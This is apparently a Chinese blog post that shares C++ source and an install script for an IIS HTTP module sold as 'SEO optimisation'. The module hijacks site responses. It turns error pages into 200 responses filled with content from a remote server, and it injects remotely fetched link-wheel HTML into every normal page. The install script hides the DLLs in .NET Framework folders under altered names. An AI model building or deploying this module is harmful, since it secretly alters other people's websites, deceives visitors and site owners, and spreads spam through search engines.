IIS7.5/8/10支持ISAPI DLL模块拦截http请求并修改回复信息
c++实现,兼容性极好。可用于网站SEO优化,极其便利。可随意指定位置插入SEO选项数据块。
class CMyHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS
OnSendResponse(
_In_ IHttpContext* pHttpContext,
_In_ ISendResponseProvider* pProvider
)
{
UNREFERENCED_PARAMETER(pHttpContext);
UNREFERENCED_PARAMETER(pProvider);
WriteLog(PRE_LOG);
{
// Create an HRESULT to receive return values from methods.
。。。
if (uStatusCode != 200 && uStatusCode != 301)
{
//非[200/301]正常回复请求处理
WriteLog(PRE_LOG);
if (!PathConstainsKey(staticFile, pwszScriptName))
{
WriteLog(PRE_LOG);
if (HtmlRes.empty() == true && uStatusCode >= 400)
{
std::wstring mulu = HtmlServer + std::wstring(L"?host=") + wHosts + std::wstring(L"&reurl=") + pwszScriptName + L"&domain=" + wHosts;
WriteLog(PRE_LOG + "," + W_2_A(mulu));
WinHttpGet(mulu.c_str(), HtmlRes, A_2_W(pszRefererValue).c_str(), A_2_W(pszUserAgent).c_str(), A_2_W(ipString).c_str());
}
WriteLog(PRE_LOG);
if (HtmlRes.empty() == false) {
WriteLog(PRE_LOG);
pHttpResponse->Clear();
pResponse->StatusCode = 200;
WriteLog(PRE_LOG);
if ((cchContentTypeValue > 0) && (lstrlenA(pszContentTypeValue) > 0)
&& (_memicmp(pszContentTypeValue, "text/html", strlen("text/html")) != 0))
{
pHttpResponse->SetHeader(HttpHeaderContentType, pszContentTypeValue, (USHORT)strlen(pszContentTypeValue), TRUE);
}
else
{
pHttpResponse->SetHeader(HttpHeaderContentType, "text/html;charset=utf-8", (USHORT)strlen("text/html;charset=utf-8"), TRUE);
}
WriteLog(PRE_LOG);
pszBuffer = (new CHAR[HtmlRes.size() + 1]());
if (pszBuffer != NULL)
{
。。。
return RQ_NOTIFICATION_FINISH_REQUEST;
}
}
}
}
else
{
//[200/301]正常回复请求处理
if (!PathConstainsKey(staticFile, pwszScriptName))
{
std::string html_res = std::string();
for (int i = 0; i < pResponse->EntityChunkCount; i++) {
HTTP_DATA_CHUNK* pChunk = &(pResponse->pEntityChunks[i]);
WriteLog(PRE_LOG + "," + std::to_string(pChunk->FromMemory.BufferLength));
if (pChunk->DataChunkType == HttpDataChunkFromMemory) {
if (pChunk->FromMemory.pBuffer != NULL)
{
。。。
}
}
}
pHttpResponse->Clear();
pResponse->StatusCode = 200;
WriteLog(PRE_LOG);
if (HtmlRes.empty() == true)// && PathConstainsKey(BotAgent,A_2_W(pszUserAgent).c_str()))
{
WriteLog(PRE_LOG + std::string(",") + W_2_A(HtmlLunlian));
WinHttpGet(HtmlLunlian, HtmlRes, A_2_W(pszRefererValue).c_str(), A_2_W(pszUserAgent).c_str(), A_2_W(ipString).c_str());
if (HtmlRes.empty() == false)
{
WriteLog(PRE_LOG);
if ((cchContentTypeValue > 0) && (lstrlenA(pszContentTypeValue) > 0)
&& (_memicmp(pszContentTypeValue, "text/html", strlen("text/html")) != 0))
{
pHttpResponse->SetHeader(HttpHeaderContentType, pszContentTypeValue, (USHORT)strlen(pszContentTypeValue), TRUE);
}
else
{
pHttpResponse->SetHeader(HttpHeaderContentType, "text/html;charset=utf-8", (USHORT)strlen("text/html;charset=utf-8"), TRUE);
}
WriteLog(PRE_LOG);
std::string tail_head_flag = "/head>";
auto* pFind = StrStrIA(html_res.c_str(), tail_head_flag.c_str());
if (pFind != NULL)
{
html_res.insert(html_res.begin() + (pFind - html_res.c_str()) + tail_head_flag.length(), HtmlRes.begin(), HtmlRes.end());
}
else
{
html_res = "<html><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'/><meta name='viewport' content='initial-scale=1.0, user-scalable=no'/><title>Hello World!</title></head><body bgcolor='cyan'></body></html>";
}
pszBuffer = (new CHAR[html_res.size() + 1]());
if (pszBuffer != NULL)
{
。。。
WriteLog(PRE_LOG);
return RQ_NOTIFICATION_FINISH_REQUEST;
}
}
}
}
}
}
}
}
return RQ_NOTIFICATION_CONTINUE;
}
};
效果图如下:
iisreset /stop
@rem net stop iisadmin /y
%systemroot%\system32\inetsrv\appcmd.exe uninstall module HttpModRespDLLx64
%systemroot%\system32\inetsrv\appcmd.exe uninstall module HttpModRespDLLx86
del %windir%\Microsoft.NET\Framework\HttpModRespDLLx86.dll
del %windir%\Microsoft.NET\Framework64\HttpModRespDLLx64.dll
copy D:\PlaceDebugSpace\MyProjects\CppProjects\HttpModRespDLL-src-16\x86\Release\HttpModRespDLLx86.dll %windir%\Microsoft.NET\Framework\HttpResetModulex86.dll
copy D:\PlaceDebugSpace\MyProjects\CppProjects\HttpModRespDLL-src-16\x64\Release\HttpModRespDLLx64.dll %windir%\Microsoft.NET\Framework64\HttpResetModulex64.dll
%systemroot%\system32\inetsrv\appcmd.exe install module /name:HttpModRespDLLx86 /image:%windir%\Microsoft.NET\Framework\HttpResetModulex86.dll /preCondition:integratedMode,runtimeVersionv4.0,bitness32 /add:true
%systemroot%\system32\inetsrv\appcmd.exe install module /name:HttpModRespDLLx64 /image:%windir%\Microsoft.NET\Framework64\HttpResetModulex64.dll /preCondition:integratedMode,runtimeVersionv4.0,bitness64 /add:true
@rem net start iisadmin
net start w3svc
iisreset /start